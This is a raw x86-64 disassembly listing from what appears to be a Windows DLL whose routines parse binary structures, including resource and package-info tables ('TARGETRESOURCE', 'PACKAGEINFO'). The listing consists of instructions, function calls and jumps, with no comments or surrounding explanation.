lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov r12, qword [rsp + 0xc8]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xcaa27b2b
mov r8d, 0xffff1c7a
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
mov r15, qword [rsp + 0x98]
je 0x18004c809
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
jmp 0x18004c276
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d906e
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007457d]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [r15]
mov ecx, 0xfffffe00
add ecx, dword [rax + 0x8c]
cmp ecx, 0x7fdff
ja 0x18004d355
lea r12, [rsp + 0x180]
mov rcx, r12
mov rdx, r15
mov r8, r13
call fcn.180068980
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x18004c94e
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004ca7e
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ca89
mov rbx, qword [rsp + 0x188]
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xe8], rax
lea rcx, str.TARGETRESOURCE
mov edx, 0x1c
call fcn.180069920
mov esi, eax
mov rdi, qword [rbx + 0x28]
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x180], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
xor r14d, r14d
test rax, rax
je 0x18004cd01
imul rbx, rax, 0x2c
add rbx, rdi
mov r15d, 8
xor eax, eax
mov ebp, 0xfffffe00
lea rdx, [rsp + 0x180]
xor r13d, r13d
add rdi, 0x2c
jmp 0x18004c9e0
lea rcx, [rdi + 0x2c]
cmp rdi, rbx
mov rdi, rcx
je 0x18004cd0c
cmp dword [rdi - 0x1c], 0
jne 0x18004c9d0
cmp esi, dword [rdi - 0x18]
jne 0x18004c9d0
mov ecx, dword [rdi - 8]
add ecx, ebp
cmp ecx, 0x7fe00
jae 0x18004c9d0
inc r13
je 0x180056dc1
cmp r13, qword [rsp + 0x190]
jbe 0x18004ca46
mov rcx, r13
mov r15, rdx
call fcn.180008a30
mov rdx, r15
cmp rax, r13
jbe 0x18004ca30
mov rcx, rdx
mov rdx, rax
call fcn.1800314e0
mov rdx, r15
cmp al, 8
je 0x18004ca46
mov rcx, rdx
mov rdx, r13
call fcn.1800314e0
mov rdx, r15
cmp al, 8
jne 0x180056eed
lea rax, [rdi - 0x2c]
mov r15, qword [rsp + 0x180]
mov r13, qword [rsp + 0x188]
mov qword [r15 + r13*8], rax
inc r13
mov qword [rsp + 0x188], r13
mov rax, r13
shr rax, 8
cmp rdi, rbx
jne 0x18004c9c5
jmp 0x18004cd0c
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r12, qword [rsp + 0xc8]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5b96
movapd xmm6, xmmword [rsp + 0x70]
jmp 0x18004d31e
mov rcx, qword [rsp + 0x188]
cmp qword [rcx + 0x38], 0
je 0x180055cb0
mov rax, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x30]
mov r8d, dword [rcx + 0x24]
mov rcx, qword [rsp + 0x98]
mov rcx, qword [rcx]
cmp dword [rcx + 0x48], r8d
jbe 0x18004cf7b
add r8, qword [rcx + 0x188]
dec qword [rax]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 3
lea r9, [0x180071308]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004fb92
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004ff74
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ff82
cmp qword [rsp + 0x48], 0
je 0x18004c205
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071670]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xd5bd7431
mov r8d, 0xffff1c79
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004c205
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004c205
cmp qword [rsp + 0x48], 0
je 0x18004c498
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800717c0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x41f68039
mov r8d, 0xffff1c7b
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004c498
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004c498
mov r15d, 8
xor eax, eax
xor r13d, r13d
mov rbp, qword [rsp + 0x190]
shl rax, 8
movzx ecx, r13b
or rcx, rax
je 0x18004ce20
mov rax, qword [r15]
mov r8d, dword [rax + 0x20]
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
cmp dword [rax + 0x48], r8d
mov r13, qword [rsp + 0xc0]
jbe 0x18004ce2a
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 2
lea r9, [0x180071980]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov r14d, dword [rsp + 0x40]
test r14d, r14d
je 0x18004cfc4
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
mov r12, qword [rsp + 0xc8]
je 0x18004d2a1
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004d2af
mov r13, qword [rsp + 0xc0]
jmp 0x18004ce2a
mov r12, qword [rsp + 0xc8]
jmp 0x18004d2c2
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5a49
jmp 0x18004bdad
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5acc
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004c1a8
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5b4e
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
mov rbp, r14
jmp 0x18004c43b
cmp qword [rsp + 0x48], 0
je 0x18004c8ab
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071948]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x162d86a9
mov r8d, 0xffff1c7c
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004c8ab
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004c8ab
dec qword [rax]
jmp 0x18004bde9
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5b78
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
mov rbp, r14
jmp 0x18004c84e
cmp qword [rsp + 0x48], 0
mov r12, qword [rsp + 0xc8]
je 0x18004d06b
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800719c0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x6871a1e5
mov r8d, 0xffff1c7d
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004d06b
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov ecx, 8
mov edx, 8
mov r8, rbp
call fcn.18000f2e0
test rax, rax
je 0x18004ff43
mov r9, rdx
xor r14d, r14d
jmp 0x18004d2dc
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180050173
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor esi, esi
jmp 0x18005017e
mov esi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
jmp 0x18004d117
mov ebp, 0x951604ae
mov esi, 0x76d4030
mov edi, 0xc76970a8
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
je 0x18004fc3a
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor ebx, ebx
jmp 0x18004fc4b
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180050188
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor esi, esi
jmp 0x180050193
mov r14, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], r14
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18005026d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor ebx, ebx
jmp 0x180050278
mov r12d, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800503a5
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor esi, esi
jmp 0x1800503b0
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5baf
movapd xmm6, xmmword [rsp + 0x70]
mov ecx, 8
mov edx, 8
mov r8, rbp
call fcn.18000f2e0
test rax, rax
je 0x18004d2fe
mov r9, rdx
lea rbp, [rsp + 0x180]
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, r15
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004d306
lea rbp, [rsp + 0x180]
mov rax, qword [rsp + 0xe8]
dec qword [rax]
test r14d, r14d
mov r15, qword [rsp + 0x98]
je 0x18004d355
mov dword [rsp + 0x180], r14d
mov dword [rsp + 0x184], esi
movupd xmmword [rsp + 0x188], xmm6
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074585]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [r15]
cmp word [rax + 0x182], 3
jne 0x18004d573
mov rdx, qword [rax + 0x68]
cmp rdx, 2
jb 0x1800524b9
mov rcx, qword [rax + 0x60]
mov edx, 0xfffff800
add edx, dword [rcx + 0x38]
cmp edx, 0x480
jae 0x18004d573
mov r8d, dword [rcx + 0x34]
cmp dword [rax + 0x48], r8d
jbe 0x18004d573
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], 8
lea r9, [0x180071a80]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x18004d463
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004d508
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004d516
cmp qword [rsp + 0x48], 0
je 0x18004d573
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180071b80]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x6155e719
mov r8d, 0xffff1c7e
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004d573
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004d573
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5bd9
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x18007458d]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [r15]
mov r15d, dword [rax + 0x12c]
test r15, r15
je 0x18004d6c0
test byte [rax + 0x187], 0x20
je 0x18004d6c0
add r15, qword [rax + 0x188]
mov eax, dword [0x18006b1b0]
mov dword [rsp + 0x70], eax
mov word [rsp + 0x74], 0xc300
mov word [rsp + 0xa4], 0
mov dword [rsp + 0xa0], 0
mov rdx, qword [r13]
mov r8, qword [r13 + 8]
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 5
mov qword [rsp + 0x28], 6
lea rcx, [rsp + 0x180]
mov r9, r15
call fcn.180038a10
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004d64c
mov ebp, dword [rsp + 0x184]
movdqu xmm0, xmmword [rsp + 0x188]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x180], edi
mov dword [rsp + 0x184], ebp
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074595]
lea r9, [rsp + 0x180]
mov r8d, 3
call fcn.180057260
jmp 0x18004d6c0
mov rcx, qword [rsp + 0x188]
cmp rcx, 7
jae 0x180056d3c
cmp rcx, 6
jne 0x18004d6c0
mov eax, dword [rsp + 0xa0]
xor eax, dword [rsp + 0x70]
movzx ecx, word [rsp + 0xa4]
xor cx, word [rsp + 0x74]
movzx ecx, cx
or ecx, eax
jne 0x18004d6c0
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rbx, qword [rax + 0x90]
test ebx, ebx
je 0x18004d6b0
movq xmm0, rbx
pshufd xmm0, xmm0, 0x55
movd ecx, xmm0
cmp ecx, 0xc
jae 0x18004ffb4
mov r13, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
lea r15, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, r15
mov r8, qword [rsp + 0x98]
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18004d75e
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004d84d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004d858
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 3
jne 0x18004d8e2
cmp dword [rsp + 0x7c], 0xc
jne 0x18004d8e2
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 4
lea r9, [0x180071bb0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004dcc8
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004dec5
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ded3
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d90fd
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x180074598]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov r8d, dword [rax + 0x12c]
cmp dword [rax + 0x48], r8d
jbe 0x18004dad7
add r8, qword [rax + 0x188]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 8
lea r9, [0x180071f00]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov esi, dword [rsp + 0x40]
test esi, esi
je 0x18004d9c7
mov edi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004da6c
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004da7a
cmp qword [rsp + 0x48], 0
je 0x18004dad7
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072000]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x777a59a6
mov r8d, 0xffff1c85
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004dad7
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004dad7
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5c5d
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x180], esi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x190], ecx
mov dword [rsp + 0x194], edx
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745a0]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
mov r15, qword [rsp + 0x98]
mov rax, qword [r15]
mov ecx, 0xfffff000
and ecx, dword [rax + 0x8c]
cmp ecx, 0x12000
jne 0x18004e151
lea r12, [rsp + 0x180]
mov rcx, r12
mov rdx, r15
mov r8, r13
call fcn.180068980
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x18004db82
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004dc9d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004dca8
mov rbx, qword [rsp + 0x188]
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xe8], rax
lea rcx, str.PACKAGEINFO
mov edx, 0x16
call fcn.180069920
mov esi, eax
mov rdi, qword [rbx + 0x28]
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x180], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
xor r14d, r14d
test rax, rax
je 0x18004dd9a
imul rbx, rax, 0x2c
add rbx, rdi
mov r15d, 8
xor eax, eax
lea r13, [rsp + 0x180]
xor ebp, ebp
jmp 0x18004dc0d
add rdi, 0x2c
cmp rdi, rbx
je 0x18004dda4
cmp dword [rdi], 0
je 0x18004dc00
cmp dword [rdi + 4], 0xa
jne 0x18004dc00
cmp dword [rdi + 0x10], 0
jne 0x18004dc00
cmp esi, dword [rdi + 0x14]
jne 0x18004dc00
inc rbp
je 0x180056dc9
cmp rbp, qword [rsp + 0x190]
jbe 0x18004dc65
mov rcx, rbp
call fcn.180008a30
cmp rax, rbp
jbe 0x18004dc52
mov rcx, r13
mov rdx, rax
call fcn.1800314e0
cmp al, 8
je 0x18004dc65
mov rcx, r13
mov rdx, rbp
call fcn.1800314e0
cmp al, 8
jne 0x180056f39
mov r15, qword [rsp + 0x180]
mov rbp, qword [rsp + 0x188]
mov qword [r15 + rbp*8], rdi
add rdi, 0x2c
inc rbp
mov qword [rsp + 0x188], rbp
mov rax, rbp
shr rax, 8
cmp rdi, rbx
jne 0x18004dc0d
jmp 0x18004dda4
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov r12, qword [rsp + 0xc8]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5c6b
movapd xmm6, xmmword [rsp + 0x70]
jmp 0x18004e11a
cmp qword [rsp + 0x48], 0
je 0x18004d8e2
mov rsi, qword [rsp + 0x50]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 1
lea r9, [0x180071db8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, rsi
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004dfd0
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004fc55
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004fc63
mov r15d, 8
xor eax, eax
